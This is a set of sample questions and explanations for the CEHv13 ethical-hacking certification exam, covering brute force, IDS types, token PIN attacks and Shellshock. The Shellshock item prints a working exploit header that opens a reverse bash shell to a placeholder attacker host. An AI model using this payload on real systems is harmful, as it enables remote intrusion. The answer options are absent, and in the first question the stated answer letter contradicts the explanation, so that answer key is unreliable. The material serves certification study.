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ECCouncil Certified Ethical Hacker Exam (CEHv13) Sample Questions (Q222-Q227):

NEW QUESTION # 222
A penetration tester is conducting an assessment of a web application for a financial institution. The application uses form-based authentication and does not implement account lockout policies after multiple failed login attempts. Interestingly, the application displays detailed error messages that disclose whether the username or password entered is incorrect. The tester also notices that the application uses HTTP headers to prevent clickjacking attacks but does not implement Content Security Policy (CSP). With these observations, which of the following attack methods would likely be the most effective for the penetration tester to exploit these vulnerabilities and attempt unauthorized access?

Answer: C

Explanation:
The most effective attack method for the penetration tester to exploit these vulnerabilities and attempt unauthorized access would be to execute a Brute Force attack, leveraging the lack of account lockout policy and the verbose error messages to guess the correct credentials. A Brute Force attack is a hacking method that uses trial and error to crack passwords, login credentials, or encryption keys. It is a simple yet reliable tactic for gaining unauthorized access to individual accounts and organizations' systems and networks1. In this scenario, the tester can take advantage of the fact that the application does not lock out users after multiple failed login attempts, which means the tester can try as many combinations as possible without being blocked.
The tester can also use the detailed error messages that disclose whether the username or password entered is incorrect, which can help narrow down the search space and reduce the number of guesses needed. For example, if the tester enters a wrong username and a wrong password, and the application responds with
"Invalid username", the tester can eliminate that username from the list of candidates and focus on finding the correct one. Similarly, if the tester enters a correct username and a wrong password, and the application responds with "Invalid password", the tester can confirm that username and focus on finding the correct password. By using automated tools or scripts, the tester can perform a Brute Force attack faster and more efficiently.
The other options are not as effective or feasible as option A for the following reasons:
* B. The tester could exploit a potential SQL Injection vulnerability to manipulate the application's database: This option is not feasible because there is no indication that the application is vulnerable to SQL Injection, which is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database2. The application uses form-based authentication, which does not necessarily involve SQL queries, and the error messages do not reveal any SQL syntax or structure.
Moreover, even if the application was vulnerable to SQL Injection, the tester would need to craft a malicious SQL query that can bypass the authentication mechanism and grant access to the application, which may not be possible or easy depending on the database design and configuration.
* C. The tester could launch a Cross-Site Scripting (XSS) attack to steal authenticated session cookies, potentially bypassing the clickjacking protection: This option is not effective because there is no evidence that the application is vulnerable to XSS, which is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application by injecting malicious scripts3. The application uses HTTP headers to prevent clickjacking attacks, which are a type of attack that tricks a user into clicking on a hidden or disguised element on a web page4. However, this does not imply that the application is vulnerable to XSS, which requires a different type of injection point and payload. Moreover, even if the application was vulnerable to XSS, the tester would need to find a way to deliver the malicious script to a legitimate user who is already authenticated, and then capture the stolen session cookies from the user's browser, which may not be feasible or easy depending on the application's design and security measures.
* D. The tester could execute a Man-in-the-Middle (MitM) attack to intercept and modify the HTTP headers for a Clickjacking attack: This option is not feasible because a MitM attack is a type of attack that requires the attacker to insert themselves between two parties who believe that they are directly communicating with each other, and then relay or alter the communications between them5. In this scenario, the tester would need to intercept the HTTP traffic between the user and the application, and then modify the HTTP headers to remove or weaken the clickjacking protection. However, this would require the tester to have access to the network infrastructure or the user's device, which may not be possible or easy depending on the network security and encryption. Moreover, even if the tester could perform a MitM attack, the tester would still need to trick the user into clicking on a malicious element on a web page, which may not be possible or easy depending on the user's awareness and behavior.
References:
* 1: What is a Brute Force Attack? | Definition, Types & How It Works - Fortinet
* 2: What is SQL Injection? Tutorial & Examples | Web Security Academy
* 3: Cross Site Scripting (XSS) | OWASP Foundation
* 4: What is Clickjacking? | Definition, Types & Examples - Fortinet
* 5: Man-in-the-middle attack - Wikipedia


NEW QUESTION # 223
What does a firewall check to prevent particular ports and applications from getting packets into an organization?

Answer: D


NEW QUESTION # 224
Which Intrusion Detection System is the best applicable for large environments where critical assets on the network need extra scrutiny and is ideal for observing sensitive network segments?

Answer: B

Explanation:
A Network-based Intrusion Detection System (NIDS) monitors all network traffic for signs of suspicious activity across multiple hosts. In large environments with critical assets (e.g., financial or healthcare networks), NIDS is ideal because it provides visibility into entire network segments, not just individual systems.
NIDS can be deployed at strategic points (e.g., DMZs, VLANs, subnets) to detect unauthorized access, malware activity, or policy violations.
Reference - CEH v13 Official Courseware:
Module 13: Evading IDS, Firewalls, and Honeypots
Quote:
"Network-based IDS monitors traffic across an entire subnet or segment and is most effective in large environments to detect malicious activity before it reaches critical assets." Incorrect Options Explained:
A). Honeypots attract and log attacker behavior, but do not provide network-wide detection.
B). Firewalls filter traffic but are not detection systems.
D). HIDS monitors activity on a single host only.
=


NEW QUESTION # 225
If a token and 4-digit personal identification number (PIN) are used to access a computer system and the token performs off-line checking for the correct PIN, what type of attack is possible?

Answer: B

Explanation:
If the token itself (e.g., hardware key or smartcard) performs offline verification of the PIN, it can be physically attacked. An attacker can:
Steal the token
Try all possible PIN combinations (0000-9999)
Bypass limits if no lockout mechanisms exist
This is a brute-force attack - the attacker tries every combination until the correct one is found.
From CEH v13 Courseware:
Module 6: Malware and Authentication
Module 20: Identity and Access Management
Incorrect Options:
A: Birthday attacks are related to hash collisions.
C: MITM involves intercepting communication, not offline brute-force.
D: Smurf is a DoS attack, not related to token/PIN systems.
Reference:CEH v13 Study Guide - Module 6: Authentication AttacksOWASP - Hardware Token Security Considerations
======


NEW QUESTION # 226
What is the most common method to exploit the "Bash Bug" or "Shellshock" vulnerability?

Answer: A

Explanation:
In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands.
The most common attack vector: Web servers using CGI scripts written in Bash.
Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands.
Exploitation looks like:
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Reference:
CEH v13 Module 06 - Shellshock Vulnerability Explanation
National Vulnerability Database: CVE-2014-6271


NEW QUESTION # 227
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